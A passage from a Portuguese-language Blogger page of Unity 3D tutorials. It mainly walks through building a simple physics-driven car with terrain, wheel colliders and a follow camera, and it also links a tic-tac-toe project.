<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhr2gUwgo9lT7h5HglNP7dBeNT6gX8YbJXgH1xYcueAtbNmCYrAMU9Wrk8lK7rBT0l7v-LukngHCCM46_321UY5gJ40ltL3neyMGaMReC5gChKNbRI4ChBwmtqrZzMan9zdFS0bUeY4j8k-/s1600/Captura+de+Ecr%25C3%25A3+%2528106%2529.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="170" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhr2gUwgo9lT7h5HglNP7dBeNT6gX8YbJXgH1xYcueAtbNmCYrAMU9Wrk8lK7rBT0l7v-LukngHCCM46_321UY5gJ40ltL3neyMGaMReC5gChKNbRI4ChBwmtqrZzMan9zdFS0bUeY4j8k-/s320/Captura+de+Ecr%25C3%25A3+%2528106%2529.png" width="320" /></a></div>
<br />
- uma roda <br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgzbTFAFeGcB8R6ROiStDjbDV4R9HgNegFcC-XH4wzrp-nuwV7YdpQNZoqI1yF4LDSD2JjcjYFcQNP_W1nCS6VWImaokFPUKDB4izVltEeLmP7Ya1LfNl0NnbZVx9xLe2fQYACMB3jOm0PD/s1600/Captura+de+Ecr%25C3%25A3+%2528107%2529.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="169" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgzbTFAFeGcB8R6ROiStDjbDV4R9HgNegFcC-XH4wzrp-nuwV7YdpQNZoqI1yF4LDSD2JjcjYFcQNP_W1nCS6VWImaokFPUKDB4izVltEeLmP7Ya1LfNl0NnbZVx9xLe2fQYACMB3jOm0PD/s320/Captura+de+Ecr%25C3%25A3+%2528107%2529.png" width="320" /></a></div>
<br />
- a textura no Gimp <br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjYbVBUnQPRaBQ3ifgJ6yMhu_hbm5vfczXJ_WfMp2zMofq__ncan_-Ihnu-47F77GNOxWPf5hG-t786zfzUN5TVWhI2yg39ODno9YksiwpAsvlsDomeVnpSo7TFLCbu4KHbedcqAD05FbEe/s1600/Captura+de+Ecr%25C3%25A3+%2528108%2529.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="170" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjYbVBUnQPRaBQ3ifgJ6yMhu_hbm5vfczXJ_WfMp2zMofq__ncan_-Ihnu-47F77GNOxWPf5hG-t786zfzUN5TVWhI2yg39ODno9YksiwpAsvlsDomeVnpSo7TFLCbu4KHbedcqAD05FbEe/s320/Captura+de+Ecr%25C3%25A3+%2528108%2529.png" width="320" /></a></div>
<br />
-a testar diferentes tipos de terreno, como por exemplo água <br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhTm6t6YHg24B_S01v3d7oznWvp6jDj0iVNJO4E-7VQxwx1e2McUzJ1xbL3cpW7wugqmjSEehwboiIe_lb0ttFLQ7-pY9LXHpbV2dOL8KAS_Hd8sGlWgBcXVpOCeKXprJDzru7oxblVWbQM/s1600/Captura+de+Ecr%25C3%25A3+%2528109%2529.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="167" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhTm6t6YHg24B_S01v3d7oznWvp6jDj0iVNJO4E-7VQxwx1e2McUzJ1xbL3cpW7wugqmjSEehwboiIe_lb0ttFLQ7-pY9LXHpbV2dOL8KAS_Hd8sGlWgBcXVpOCeKXprJDzru7oxblVWbQM/s320/Captura+de+Ecr%25C3%25A3+%2528109%2529.png" width="320" /></a></div>
<br />
- e o código <br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEii_uxoVY5tw3Y4G3MtPN-An76mQS638p71uIsfAbSuh219ojWRfS9Hy9iY79J-_xuAed-TqcxM2irUr_1nauWndYso6re99OH91bzkQ3IQQYa8Z3amJQcMopdRAs2NBmYqExKnNf5hQWF4/s1600/Captura+de+Ecr%25C3%25A3+%2528110%2529.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="169" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEii_uxoVY5tw3Y4G3MtPN-An76mQS638p71uIsfAbSuh219ojWRfS9Hy9iY79J-_xuAed-TqcxM2irUr_1nauWndYso6re99OH91bzkQ3IQQYa8Z3amJQcMopdRAs2NBmYqExKnNf5hQWF4/s320/Captura+de+Ecr%25C3%25A3+%2528110%2529.png" width="320" /></a></div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEheXrHUy8943xwBw6HNqCvSAGqRs6xMKlqGF-x794TA8wb5EGSsGRSTwv-BZUTDdM0Y_yu3PhlOmrD-PqTUKGzSLaFGIS5BL0LcpIJOlqE_ngJW5yYeSG5cZ_5XZ25YVkF7Xjk6lniNjw4u/s1600/Captura+de+Ecr%25C3%25A3+%2528111%2529.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="170" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEheXrHUy8943xwBw6HNqCvSAGqRs6xMKlqGF-x794TA8wb5EGSsGRSTwv-BZUTDdM0Y_yu3PhlOmrD-PqTUKGzSLaFGIS5BL0LcpIJOlqE_ngJW5yYeSG5cZ_5XZ25YVkF7Xjk6lniNjw4u/s320/Captura+de+Ecr%25C3%25A3+%2528111%2529.png" width="320" /></a></div>
<br />Paulo Ferreira "O Prof..."http://www.blogger.com/profile/14402544521476818760noreply@blogger.com0tag:blogger.com,1999:blog-1980868650914217222.post-29417896789958550172016-02-25T15:21:00.000-08:002016-02-25T15:21:27.586-08:00Jogo do Galo em Unity 3DNeste post apresento um tutorial para fazer um simples jogo do galo em Unity 3D.<br />
<br />
Veja o vídeo e faça download do projeto do GitHub.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<iframe width="320" height="266" class="YOUTUBE-iframe-video" data-thumbnail-src="https://i.ytimg.com/vi/cT-NBXOp1LE/0.jpg" src="https://www.youtube.com/embed/cT-NBXOp1LE?feature=player_embedded" frameborder="0" allowfullscreen></iframe></div>
<br />
<br />
<a href="https://github.com/alunosnet/TicTacToe" target="_blank">Projeto no GitHub</a>AlunosNethttp://www.blogger.com/profile/15597938441125220815noreply@blogger.com0tag:blogger.com,1999:blog-1980868650914217222.post-61792244696867497272016-02-22T14:23:00.000-08:002016-02-23T06:27:33.243-08:00Vamos fazer um carro com o Unity 3DNeste artigo vamos fazer um carro, simples, com o Unity 3D.<br />
<br />
A ideia é utilizar o motor de física do Unity 3D para simular o comportamento do carro.<br />
<br />
Os passos a seguir são: <br />
<br />
<b>[1] - Criar um projeto novo</b><br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEglIQHqrzYXBwA5Gll0ZK9oSh1-nhzxcXUFB1-nH81wsnIvHkA-PU2twk7QBN_BJ3dLZM4jxwWsMx9xUnH8x8SlvWEbubd2rmS2Qxv07aFfP9miG4BcBiQI_yiMxR8lVP5IIhC3QpJhrik/s1600/vlcsnap-2016-02-22-16h41m19s693.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="182" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEglIQHqrzYXBwA5Gll0ZK9oSh1-nhzxcXUFB1-nH81wsnIvHkA-PU2twk7QBN_BJ3dLZM4jxwWsMx9xUnH8x8SlvWEbubd2rmS2Qxv07aFfP9miG4BcBiQI_yiMxR8lVP5IIhC3QpJhrik/s320/vlcsnap-2016-02-22-16h41m19s693.png" width="320" /></a></div>
<br />
<a name='more'></a><br />
<br />
<b> [2] - Adicionar um terreno</b><br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjVxYwdcMHHrBLyfn7IruZ-8RK7QerkRCkdGShQT11iVuY1nGYrQlRIbrzu1ag45sdjsea25n55kzZ9C5pCahRaSTmTh4Qgqa5fm-HrO4fybRy6asUm0gD5VzSmn_ZNdpRcCW9-gd0Zqwc/s1600/vlcsnap-2016-02-22-16h42m27s179.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="261" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjVxYwdcMHHrBLyfn7IruZ-8RK7QerkRCkdGShQT11iVuY1nGYrQlRIbrzu1ag45sdjsea25n55kzZ9C5pCahRaSTmTh4Qgqa5fm-HrO4fybRy6asUm0gD5VzSmn_ZNdpRcCW9-gd0Zqwc/s320/vlcsnap-2016-02-22-16h42m27s179.png" width="320" /></a></div>
<b>[3] - Importar Assets - Enviroment</b><br />
Os assets a importar são os elementos de enviroment e o script SmoothFollow.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjhEEH7iboPKl-zi7KpenICJlh9dV35EBtdyjFTNPFEU5AmaH7LlN3-mTcMKk1-Hrf6pvcXh1yVIf_6StfG6hiDBHAfH_uwLNuo2P6DUlWEkRFS_W8GnvFFqQLbnwfzzwb205Kc-k9Zx5o/s1600/vlcsnap-2016-02-22-16h45m38s279.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"></a><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgmUBxlYeVErxb5p3CGVt4BleSKaqJNMMYTCGnv0jOzPbNbVORULcxwT3YjTASrEweEKoOMqbr5JWE9jbk6w4wbTOked2msIoxvaE-Lqce9-5RSCfH4m1HOWF2JIPvNjvlB-Oex4dLz7iw/s1600/vlcsnap-2016-02-22-16h44m45s910.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="286" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgmUBxlYeVErxb5p3CGVt4BleSKaqJNMMYTCGnv0jOzPbNbVORULcxwT3YjTASrEweEKoOMqbr5JWE9jbk6w4wbTOked2msIoxvaE-Lqce9-5RSCfH4m1HOWF2JIPvNjvlB-Oex4dLz7iw/s320/vlcsnap-2016-02-22-16h44m45s910.png" width="320" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjhEEH7iboPKl-zi7KpenICJlh9dV35EBtdyjFTNPFEU5AmaH7LlN3-mTcMKk1-Hrf6pvcXh1yVIf_6StfG6hiDBHAfH_uwLNuo2P6DUlWEkRFS_W8GnvFFqQLbnwfzzwb205Kc-k9Zx5o/s1600/vlcsnap-2016-02-22-16h45m38s279.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="263" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjhEEH7iboPKl-zi7KpenICJlh9dV35EBtdyjFTNPFEU5AmaH7LlN3-mTcMKk1-Hrf6pvcXh1yVIf_6StfG6hiDBHAfH_uwLNuo2P6DUlWEkRFS_W8GnvFFqQLbnwfzzwb205Kc-k9Zx5o/s320/vlcsnap-2016-02-22-16h45m38s279.png" width="320" /></a></div>
<br />
<b>[4] - Modelar o terreno</b><br />
Agora devemos modelar o terreno criando algumas montanhas, aplicando as texturas, por exemplo a relva e criando umas estradas.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgEZ9BV1q94fY7CroQUrZomDfSitefjuNTkORnm0GiSRioEHv9hyZ2PMTaylB85iEOBAmYRYTOUKvM6uzrX9F0C_2HXckHaQFXJTGK3PYrg1S3dyPCEngO5fD66lKcszoSc4QSC3djzzGU/s1600/vlcsnap-2016-02-22-16h49m01s433.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="166" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgEZ9BV1q94fY7CroQUrZomDfSitefjuNTkORnm0GiSRioEHv9hyZ2PMTaylB85iEOBAmYRYTOUKvM6uzrX9F0C_2HXckHaQFXJTGK3PYrg1S3dyPCEngO5fD66lKcszoSc4QSC3djzzGU/s320/vlcsnap-2016-02-22-16h49m01s433.png" width="320" /></a></div>
<br />
<br />
<b>[5] - Adicionar um gameObject vazio</b><br />
Este gameObject vai servir para organizar todo o conteúdo do nosso carro.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg1pWbGkvhbaqYcjczPgGqvv0xLR0WVTlEAjMxGeAFawFj2Gwrv1Y6J-PvVtvnMDy91Flr2FVmU8sJaX2sthy99osrn-yNszTKDbsczZgmKAVHypFtHnIafipiavwhworBXw5efxpm64hQ/s1600/vlcsnap-2016-02-22-16h49m18s951.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="227" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg1pWbGkvhbaqYcjczPgGqvv0xLR0WVTlEAjMxGeAFawFj2Gwrv1Y6J-PvVtvnMDy91Flr2FVmU8sJaX2sthy99osrn-yNszTKDbsczZgmKAVHypFtHnIafipiavwhworBXw5efxpm64hQ/s320/vlcsnap-2016-02-22-16h49m18s951.png" width="320" /></a></div>
Este gameObject deve ter o nome de Car.<br />
<br />
<br />
<b>[6] - Adicionar um cubo</b><br />
Adicionar um cube ao gameObject Car.<br />
Alterar o nome do cube para Body e posiciona-lo em 0,0,0.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiFCLfZ5vw17LbkOT8cvC7YoKDxDuCBvfpHzDYRZKj_ZkAa34nLH938KONjhZCLUOHUP_Ur_fkCXZmFHI5ArH8d3-ODePNS0rcJ0Ab-X8jXhyphenhyphen80vNuQ6wP6nrrD4giHTaqLN93M4A-qcdM/s1600/vlcsnap-2016-02-22-19h15m26s752.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiFCLfZ5vw17LbkOT8cvC7YoKDxDuCBvfpHzDYRZKj_ZkAa34nLH938KONjhZCLUOHUP_Ur_fkCXZmFHI5ArH8d3-ODePNS0rcJ0Ab-X8jXhyphenhyphen80vNuQ6wP6nrrD4giHTaqLN93M4A-qcdM/s1600/vlcsnap-2016-02-22-19h15m26s752.png" /></a></div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhAZWI2X6zE5YuXXi95UbWJGSsB8i1TOr0uDqOtmwi627DhhKRdF0YNqF_z1Tqq54RiJyomm-31tm5cXOgytg4UkwkcUI4gNmczRn9vGx0kovmZB2oGnuTco9Qb5AdmWI7qWbMYNmcauvg/s1600/vlcsnap-2016-02-22-19h17m48s347.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhAZWI2X6zE5YuXXi95UbWJGSsB8i1TOr0uDqOtmwi627DhhKRdF0YNqF_z1Tqq54RiJyomm-31tm5cXOgytg4UkwkcUI4gNmczRn9vGx0kovmZB2oGnuTco9Qb5AdmWI7qWbMYNmcauvg/s1600/vlcsnap-2016-02-22-19h17m48s347.png" /></a></div>
<br />
Posicionar o gameObject Car dentro do terreno.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjvQEx554VsCRuSkZJpsikSXTJjrSiJP1WMdGyvFUha5Qa3-X_bFiS9q7wGo8Ktm6lNJQoLhxWmsKvEkcGC1xk-eifiUoFUnaVI4j8VdQoXip4r0ZV4tQRSAVEP54xnnJs2C5vjz6Yxn_E/s1600/vlcsnap-2016-02-22-19h18m22s085.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="162" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjvQEx554VsCRuSkZJpsikSXTJjrSiJP1WMdGyvFUha5Qa3-X_bFiS9q7wGo8Ktm6lNJQoLhxWmsKvEkcGC1xk-eifiUoFUnaVI4j8VdQoXip4r0ZV4tQRSAVEP54xnnJs2C5vjz6Yxn_E/s320/vlcsnap-2016-02-22-19h18m22s085.png" width="320" /></a></div>
Podemos ainda alterar a forma do cubo e adicionar outros para fazer uma forma mais parecida com um carro.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj5dvEC7_KXd0sHXyu8ac9cXLinZoznViVzC2JUjj2RvbzRZa1RrmqFvc8Yf_zK1Db4TRL-OZ_ujrOHVplHoEVuRdrcPRoIvlkk7vEl9Xg5pJRp9l7svea6YfmQXE7n8BVauEoFkqCpcVI/s1600/vlcsnap-2016-02-22-19h40m43s242.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="242" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj5dvEC7_KXd0sHXyu8ac9cXLinZoznViVzC2JUjj2RvbzRZa1RrmqFvc8Yf_zK1Db4TRL-OZ_ujrOHVplHoEVuRdrcPRoIvlkk7vEl9Xg5pJRp9l7svea6YfmQXE7n8BVauEoFkqCpcVI/s320/vlcsnap-2016-02-22-19h40m43s242.png" width="320" /></a></div>
<br />
Os cubos devem ficar sem box colliders porque vamos adicionar um rigidbody e um box collider ao gameObject Car.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgrQ5ejgnjzo1gQ3YOneLNyEDcBcCjokQMaHL59-mkbKBmHAxLdtytQzjAtwcXMXWC7337GQdqIo5A48uPW6o9F99T73UxH7hm1VgwoLD18_tNAuERr5puy-HiuXFHEFq4Lokji36UNYzo/s1600/vlcsnap-2016-02-22-19h42m18s252.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="136" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgrQ5ejgnjzo1gQ3YOneLNyEDcBcCjokQMaHL59-mkbKBmHAxLdtytQzjAtwcXMXWC7337GQdqIo5A48uPW6o9F99T73UxH7hm1VgwoLD18_tNAuERr5puy-HiuXFHEFq4Lokji36UNYzo/s320/vlcsnap-2016-02-22-19h42m18s252.png" width="320" /></a></div>
Devemos, agora redimensionar o box collider para ficar do tamanho do corpo do carro.<br />
<br />
<b>[7] - Adicionar um cilindro </b><br />
O cilindro vai servir para fazer as rodas. Primeiro fazemos uma depois é só copiar e colar.<br />
Depois de definir o tamanho e rodar o cilindro.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiqp9DChvpOR8GNbhy5jBsyiIwJa15doyb03VFzKuOLCLfo1fVSFeR6-ehKuZsJUAyokK8ifzef96SWaiw_-eEyVfud5jj1NoKwr97yQMyeaoEnXLr-Z1ZAOuWLi3k-G-CuDrfXcqrEP9A/s1600/vlcsnap-2016-02-22-19h47m49s014.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiqp9DChvpOR8GNbhy5jBsyiIwJa15doyb03VFzKuOLCLfo1fVSFeR6-ehKuZsJUAyokK8ifzef96SWaiw_-eEyVfud5jj1NoKwr97yQMyeaoEnXLr-Z1ZAOuWLi3k-G-CuDrfXcqrEP9A/s1600/vlcsnap-2016-02-22-19h47m49s014.png" /></a></div>
Basta posicionar a roda na frente do carro, do lado direito.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi4mc5x0rB5fAX03hUlpmMRVmf6MuUkuzUL6K_oWLjK9Df-u4KEM9rmTwm4q2RjH5sU7rGQtZRgi0U_cT_Jm7E5_G8dd6z92LTEHnxs_b-uWXEKPJfn6Oqv7eWzWU0Y9ZXxXEhqcdiJstM/s1600/vlcsnap-2016-02-22-19h50m19s541.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="180" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi4mc5x0rB5fAX03hUlpmMRVmf6MuUkuzUL6K_oWLjK9Df-u4KEM9rmTwm4q2RjH5sU7rGQtZRgi0U_cT_Jm7E5_G8dd6z92LTEHnxs_b-uWXEKPJfn6Oqv7eWzWU0Y9ZXxXEhqcdiJstM/s320/vlcsnap-2016-02-22-19h50m19s541.png" width="320" /></a></div>
<br />
<b>[8] - Remover o collider e adicionar um wheelcollider</b><br />
Agora, que a roda está no lugar, devemos remover o Capsule collider e adicionar um Wheelcollider.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhYbVWsFfce9leoVxmUv-Vr9Tz08Z9H-PC92F8NzjeZ6V1UVGJGNT_7iHvRLE-v1w3Y-iBfXplcxYmfeKucdi9bXENFz5dfjMk0N6NSKAeo4LLydnOc5xLZbxIOYHp5ZRgFZ2mEjelLutY/s1600/vlcsnap-2016-02-22-19h52m13s399.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhYbVWsFfce9leoVxmUv-Vr9Tz08Z9H-PC92F8NzjeZ6V1UVGJGNT_7iHvRLE-v1w3Y-iBfXplcxYmfeKucdi9bXENFz5dfjMk0N6NSKAeo4LLydnOc5xLZbxIOYHp5ZRgFZ2mEjelLutY/s320/vlcsnap-2016-02-22-19h52m13s399.png" width="136" /></a></div>
Este componente será responsável pelos cálculos necessários para que o carro tenha um comportamento realista.<br />
<br />
Por fim devemos arrastar a roda para o gameObject Car para que passe a ser um filho deste.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjJZAafJf2P8lwdC4lqeSTBgzE1IoE_i4WOelTzylR0__R1vR8EiFTyhM3LooLt074JktBSF0jp2_dMEjFlEdfGyKDA_OYhnlbiKsF2Xqpgj-fcgGYSl436cg0hCS4fst74EySkGVj_MBE/s1600/vlcsnap-2016-02-22-19h54m01s226.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjJZAafJf2P8lwdC4lqeSTBgzE1IoE_i4WOelTzylR0__R1vR8EiFTyhM3LooLt074JktBSF0jp2_dMEjFlEdfGyKDA_OYhnlbiKsF2Xqpgj-fcgGYSl436cg0hCS4fst74EySkGVj_MBE/s1600/vlcsnap-2016-02-22-19h54m01s226.png" /></a></div>
Se testarmos agora a nossa cena, executando-a, verificamos que o carro tem um comportamento algo estranho, para além da nossa camera não mostrar o carro.<br />
Para resolver o problema da camera vamos posiciona-la atrás do carro e adicionar-lhe o script SmoothFollow, importado anteriormente. Depois definimos o carro como o target e a distância em 2.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhKSqYq57WY12wPEOQ6Bt_50cjbQEHuJnDP8xQDApWZrKV1FCS2cRntMWIjXeAYXYmhWvgkYN1or6kdBNi2peatfQEaL7fOcM7mLf9U7lPlVZCdSOkqaN5UhLLfY8u0hMujii2y7gnu2ng/s1600/vlcsnap-2016-02-22-19h58m03s679.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="180" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhKSqYq57WY12wPEOQ6Bt_50cjbQEHuJnDP8xQDApWZrKV1FCS2cRntMWIjXeAYXYmhWvgkYN1or6kdBNi2peatfQEaL7fOcM7mLf9U7lPlVZCdSOkqaN5UhLLfY8u0hMujii2y7gnu2ng/s320/vlcsnap-2016-02-22-19h58m03s679.png" width="320" /></a></div>
Em relação ao carro devemos definir a sua massa no rigidbody em, pelo menos, 1000.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhWwjqPuKfkpL4rz8H6onO7ROwOwwtAYSmC3nbzaNkzw6QsZhjx-r7ErPeU_T-RbMC44iy1AmD-_42ChjQjYo_H8B3P8g752_pfg3FhPN_cC3GiMdBEXOaGAzmv0O7LDDqvTbQ5eNv7hQQ/s1600/vlcsnap-2016-02-22-19h59m51s639.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhWwjqPuKfkpL4rz8H6onO7ROwOwwtAYSmC3nbzaNkzw6QsZhjx-r7ErPeU_T-RbMC44iy1AmD-_42ChjQjYo_H8B3P8g752_pfg3FhPN_cC3GiMdBEXOaGAzmv0O7LDDqvTbQ5eNv7hQQ/s320/vlcsnap-2016-02-22-19h59m51s639.png" width="179" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhqgN-nSaE5Wf5vjZuhkIvjNt6YSpgk-sxE47lTbHnyFRFg0uziwNf_rtoOx6hADIiaTcOqkNwMBxi0GmshLIrM6Z2XWbh6sowirRvUgv2rNPGRSH5pRP-gO20nACVB2iAvuLZtJwmVI10/s1600/vlcsnap-2016-02-22-20h00m00s211.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="180" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhqgN-nSaE5Wf5vjZuhkIvjNt6YSpgk-sxE47lTbHnyFRFg0uziwNf_rtoOx6hADIiaTcOqkNwMBxi0GmshLIrM6Z2XWbh6sowirRvUgv2rNPGRSH5pRP-gO20nACVB2iAvuLZtJwmVI10/s320/vlcsnap-2016-02-22-20h00m00s211.png" width="320" /></a></div>
Agora sim o nosso carro não sai disparado pela suspensão da roda.<br />
<br />
<br />
<b>[9] - Copiar e colar a roda</b><br />
Neste ponto do trabalho devemos copiar e colar a roda e posicionar cada uma nos cantos do carro. As rodas devem ter um nome que permita identificar a sua posição.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiBJEdLKYDXa9SPh2StQlREt_f5nYm_JCRQDGmrsBe6HYZdeuDoMs92fMJOx5pREhD8Z6dKAXIbp_cA6vPsG-4VRc4Kk18Ahahe9OsDhPOV2Ch5C0YVS5AGSBRDpruDh_T7ReSl87K7fH8/s1600/vlcsnap-2016-02-22-20h38m00s545.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiBJEdLKYDXa9SPh2StQlREt_f5nYm_JCRQDGmrsBe6HYZdeuDoMs92fMJOx5pREhD8Z6dKAXIbp_cA6vPsG-4VRc4Kk18Ahahe9OsDhPOV2Ch5C0YVS5AGSBRDpruDh_T7ReSl87K7fH8/s1600/vlcsnap-2016-02-22-20h38m00s545.png" /></a></div>
<br />
Para que se seja possível comprovar que as rodas do carro rodam vamos adicionar um material permite, facilmente, comprar isso mesmo.<br />
Assim vamos importar uma textura de uma jante.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh9T5a6f6GKDuUaX2EjV2XB1giJ2uRyEQ2OFdKT8HKWwkvMddKB6-q0j-QvlGj-gMAxxbWF_V7HSmL41YecUVVflfLrD9uBJKfRphiWYhwDzhEZo4g1EOkjPBVZTPIJswN7HwUxMadMsGY/s1600/vlcsnap-2016-02-22-20h40m16s364.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh9T5a6f6GKDuUaX2EjV2XB1giJ2uRyEQ2OFdKT8HKWwkvMddKB6-q0j-QvlGj-gMAxxbWF_V7HSmL41YecUVVflfLrD9uBJKfRphiWYhwDzhEZo4g1EOkjPBVZTPIJswN7HwUxMadMsGY/s320/vlcsnap-2016-02-22-20h40m16s364.png" width="143" /></a></div>
De seguida criamos um material com esta textura e associamos a cada uma das rodas. Não fica muito bonito mas já é possível verificar se as rodas estão a rodar.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhdYvDDZ0oCQXyMmXm5xC-sUn9KT3G1Lc56a7sxz76BqnZiVJeAQuyHiVNnMxudf4saZZPxuuTJlMDgLybE7R7lRyqR1VBLjBxF4XM0Pskw4Xt2WGtM-EbrGo1SMrBNiJqFFzpgKclZpZo/s1600/vlcsnap-2016-02-22-20h45m50s352.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="147" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhdYvDDZ0oCQXyMmXm5xC-sUn9KT3G1Lc56a7sxz76BqnZiVJeAQuyHiVNnMxudf4saZZPxuuTJlMDgLybE7R7lRyqR1VBLjBxF4XM0Pskw4Xt2WGtM-EbrGo1SMrBNiJqFFzpgKclZpZo/s320/vlcsnap-2016-02-22-20h45m50s352.png" width="320" /></a></div>
<b> </b><b>[10] - Adicionar um script</b><br />
